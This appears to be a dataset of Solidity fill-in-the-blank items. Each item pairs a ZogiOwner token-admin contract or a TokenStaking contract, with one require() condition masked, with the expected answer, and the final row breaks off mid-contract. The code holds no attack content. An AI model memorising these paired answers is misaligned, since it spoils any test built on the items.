comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Owner cannot transfer blacklisted funds" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import "./Zogi.sol";
contract ZogiOwner is Ownable{
ZOGI public zogi;
constructor(address zogiAddress_){
}
function approve(address spender, uint256 amount) public onlyOwner returns (bool){
}
function blacklistUpdate(address user, bool value)public onlyOwner{
}
function increaseAllowance(address spender, uint256 addedValue)public onlyOwner returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue) public onlyOwner returns (bool){
}
function mint(address account_, uint256 amount_)public onlyOwner{
}
function burn(uint256 amount_) public onlyOwner{
}
function pause() public onlyOwner{
}
function unpause() public onlyOwner{
}
function setAdmin(address admin, bool enabled) public onlyOwner{
}
function snapShot() public onlyOwner{
}
function transfer(address to, uint256 amount) public onlyOwner returns (bool){
}
function transferFrom(address from, address to, uint256 amount) public onlyOwner returns (bool){
require(<FILL_ME>)
require(!zogi.isBlackListed(to), "Owner cannot transfer blacklisted funds");
return zogi.transferFrom(from, to, amount);
}
}
| !zogi.isBlackListed(from),"Owner cannot transfer blacklisted funds" | 63,137 | !zogi.isBlackListed(from) |
"Owner cannot transfer blacklisted funds" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import "./Zogi.sol";
contract ZogiOwner is Ownable{
ZOGI public zogi;
constructor(address zogiAddress_){
}
function approve(address spender, uint256 amount) public onlyOwner returns (bool){
}
function blacklistUpdate(address user, bool value)public onlyOwner{
}
function increaseAllowance(address spender, uint256 addedValue)public onlyOwner returns (bool){
}
function decreaseAllowance(address spender, uint256 subtractedValue) public onlyOwner returns (bool){
}
function mint(address account_, uint256 amount_)public onlyOwner{
}
function burn(uint256 amount_) public onlyOwner{
}
function pause() public onlyOwner{
}
function unpause() public onlyOwner{
}
function setAdmin(address admin, bool enabled) public onlyOwner{
}
function snapShot() public onlyOwner{
}
function transfer(address to, uint256 amount) public onlyOwner returns (bool){
}
function transferFrom(address from, address to, uint256 amount) public onlyOwner returns (bool){
require(!zogi.isBlackListed(from), "Owner cannot transfer blacklisted funds");
require(<FILL_ME>)
return zogi.transferFrom(from, to, amount);
}
}
| !zogi.isBlackListed(to),"Owner cannot transfer blacklisted funds" | 63,137 | !zogi.isBlackListed(to) |
"TokenStaking: insufficient funds in the treasury" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
require(<FILL_ME>)
_;
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| IERC20(_tokenAddress).balanceOf(address(this))>=amount,"TokenStaking: insufficient funds in the treasury" | 63,212 | IERC20(_tokenAddress).balanceOf(address(this))>=amount |
"TokenStaking: not enough withdrawable tokens" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
require(<FILL_ME>)
IERC20(_tokenAddress).transfer(msg.sender, amount);
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| this.getWithdrawableAmount()>=amount,"TokenStaking: not enough withdrawable tokens" | 63,212 | this.getWithdrawableAmount()>=amount |
"TokenStaking: staking is paused" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
require(<FILL_ME>)
uint256 currentTime = getCurrentTime();
require(currentTime > _stakeStartDate, "TokenStaking: staking not started yet");
require(currentTime < _stakeEndDate, "TokenStaking: staking ended");
require(_totalStakedTokens + _amount <= _maxStakeTokenLimit, "TokenStaking: max staking token limit reached");
require(_amount > 0, "TokenStaking: stake amount must be non-zero");
require(
_amount >= _minimumStakingAmount,
"TokenStaking: stake amount must greater than minimum amount allowed"
);
if (_users[user_].stakeAmount != 0) {
_calculateRewards(user_);
} else {
_users[user_].lastRewardCalculationTime = currentTime;
_totalUsers += 1;
}
_users[user_].stakeAmount += _amount;
_users[user_].lastStakeTime = currentTime;
_totalStakedTokens += _amount;
require(
IERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount),
"TokenStaking: failed to transfer tokens"
);
emit Stake(user_, _amount);
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| !_isStakingPaused,"TokenStaking: staking is paused" | 63,212 | !_isStakingPaused |
"TokenStaking: max staking token limit reached" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
function updateStakingEndDate(uint256 newDate) external onlyOwner {
}
/**
* @notice This function is used to update early unstake fee percentage
*/
function updateEarlyUnstakeFeePercentage(uint256 newPercentage) external onlyOwner {
}
/**
* @notice stake tokens for specific user
* @dev This function can be used to stake tokens for specific user
*
* @param amount the amount to stake
* @param user user's address
*/
function stakeForUser(uint256 amount, address user) external onlyOwner nonReentrant {
}
/**
* @notice enable/disable staking
* @dev This function can be used to toggle staking status
*/
function toggleStakingStatus() external onlyOwner {
}
/**
* @notice Withdraw the specified amount if possible.
*
* @dev This function can be used to withdraw the available tokens
* with this contract to the caller
*
* @param amount the amount to withdraw
*/
function withdraw(uint256 amount) external onlyOwner nonReentrant {
}
/* Owner Methods End */
/* User Methods Start */
/**
* @notice This function is used to stake tokens
* @param _amount Amount of tokens to be staked
*/
function stake(uint256 _amount) external nonReentrant {
}
function _stakeTokens(uint256 _amount, address user_) private {
require(!_isStakingPaused, "TokenStaking: staking is paused");
uint256 currentTime = getCurrentTime();
require(currentTime > _stakeStartDate, "TokenStaking: staking not started yet");
require(currentTime < _stakeEndDate, "TokenStaking: staking ended");
require(<FILL_ME>)
require(_amount > 0, "TokenStaking: stake amount must be non-zero");
require(
_amount >= _minimumStakingAmount,
"TokenStaking: stake amount must greater than minimum amount allowed"
);
if (_users[user_].stakeAmount != 0) {
_calculateRewards(user_);
} else {
_users[user_].lastRewardCalculationTime = currentTime;
_totalUsers += 1;
}
_users[user_].stakeAmount += _amount;
_users[user_].lastStakeTime = currentTime;
_totalStakedTokens += _amount;
require(
IERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount),
"TokenStaking: failed to transfer tokens"
);
emit Stake(user_, _amount);
}
/**
* @notice This function is used to unstake tokens
* @param _amount Amount of tokens to be unstaked
*/
function unstake(uint256 _amount) external nonReentrant whenTreasuryHasBalance(_amount) {
}
/**
* @notice This function is used to claim user's rewards
*/
function claimReward() external nonReentrant whenTreasuryHasBalance(_users[msg.sender].rewardAmount) {
}
/* User Methods End */
/* Private Helper Methods Start */
/**
* @notice This function is used to calculate rewards for a user
* @param _user Address of the user
*/
function _calculateRewards(address _user) private {
}
/**
* @notice This function is used to get estimated rewards for a user
* @param _user Address of the user
* @return Estimated rewards for the user
*/
function _getUserEstimatedRewards(address _user) private view returns (uint256, uint256) {
}
/* Private Helper Methods End */
function getCurrentTime() internal view virtual returns (uint256) {
}
}
| _totalStakedTokens+_amount<=_maxStakeTokenLimit,"TokenStaking: max staking token limit reached" | 63,212 | _totalStakedTokens+_amount<=_maxStakeTokenLimit |
"TokenStaking: failed to transfer tokens" | pragma solidity ^0.8.0;
contract TokenStaking is Ownable, ReentrancyGuard, Initializable {
// Struct to store the User's Details
struct User {
uint256 stakeAmount; // Stake Amount
uint256 rewardAmount; // Reward Amount
uint256 lastStakeTime; // Last Stake Timestamp
uint256 lastRewardCalculationTime; // Last Reward Calculation Timestamp
uint256 rewardsClaimedSoFar; // Sum of rewards claimed so far
}
uint256 _minimumStakingAmount; // minimum staking amount
uint256 _maxStakeTokenLimit; // maximum staking token limit for program
uint256 _stakeEndDate; // end date for program
uint256 _stakeStartDate; // end date for program
uint256 _totalStakedTokens; // Total no of tokens that are staked
uint256 _totalUsers; // Total no of users
uint256 _stakeDays; // staking days
uint256 _earlyUnstakeFeePercentage; // early unstake fee percentage
bool _isStakingPaused; // staking status
// Token contract address
address private _tokenAddress;
// APY
uint256 _apyRate;
uint256 public constant PERCENTAGE_DENOMINATOR = 10000;
uint256 public constant APY_RATE_CHANGE_THRESHOLD = 10;
// User address => User
mapping(address => User) private _users;
event Stake(address indexed user, uint256 amount);
event UnStake(address indexed user, uint256 amount);
event EarlyUnStakeFee(address indexed user, uint256 amount);
event ClaimReward(address indexed user, uint256 amount);
modifier whenTreasuryHasBalance(uint256 amount) {
}
function initialize(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) public virtual initializer {
}
function __TokenStaking_init_unchained(
address owner_,
address tokenAddress_,
uint256 apyRate_,
uint256 minimumStakingAmount_,
uint256 maxStakeTokenLimit_,
uint256 stakeStartDate_,
uint256 stakeEndDate_,
uint256 stakeDays_,
uint256 earlyUnstakeFeePercentage_
) internal onlyInitializing {
}
/* View Methods Start */
/**
* @notice This function is used to get the minimum staking amount
*/
function getMinimumStakingAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get the maximum staking token limit for program
*/
function getMaxStakingTokenLimit() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking start date for program
*/
function getStakeStartDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the staking end date for program
*/
function getStakeEndDate() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of tokens that are staked
*/
function getTotalStakedTokens() external view returns (uint256) {
}
/**
* @notice This function is used to get the total no of users
*/
function getTotalUsers() external view returns (uint256) {
}
/**
* @notice This function is used to get stake days
*/
function getStakeDays() external view returns (uint256) {
}
/**
* @notice This function is used to get early unstake fee percentage
*/
function getEarlyUnstakeFeePercentage() external view returns (uint256) {
}
/**
* @notice This function is used to get staking status
*/
function getStakingStatus() external view returns (bool) {
}
/**
* @notice This function is used to get the current APY Rate
* @return Current APY Rate
*/
function getAPY() external view returns (uint256) {
}
/**
* @notice This function is used to get msg.sender's estimated reward amount
* @return msg.sender's estimated reward amount
*/
function getUserEstimatedRewards() external view returns (uint256) {
}
/**
* @notice This function is used to get withdrawable amount from contract
*/
function getWithdrawableAmount() external view returns (uint256) {
}
/**
* @notice This function is used to get User's details
* @param userAddress User's address to get details of
* @return User Struct
*/
function getUser(address userAddress) external view returns (User memory) {
}
/**
* @notice This function is used to check if a user is a stakeholder
* @param _user Address of the user to check
* @return True if user is a stakeholder, false otherwise
*/
function isStakeHolder(address _user) external view returns (bool) {
}
/* View Methods End */
/* Owner Methods Start */
/**
* @notice This function is used to update minimum staking amount
*/
function updateMinimumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update maximum staking amount
*/
function updateMaximumStakingAmount(uint256 newAmount) external onlyOwner {
}
/**
* @notice This function is used to update staking end date
*/
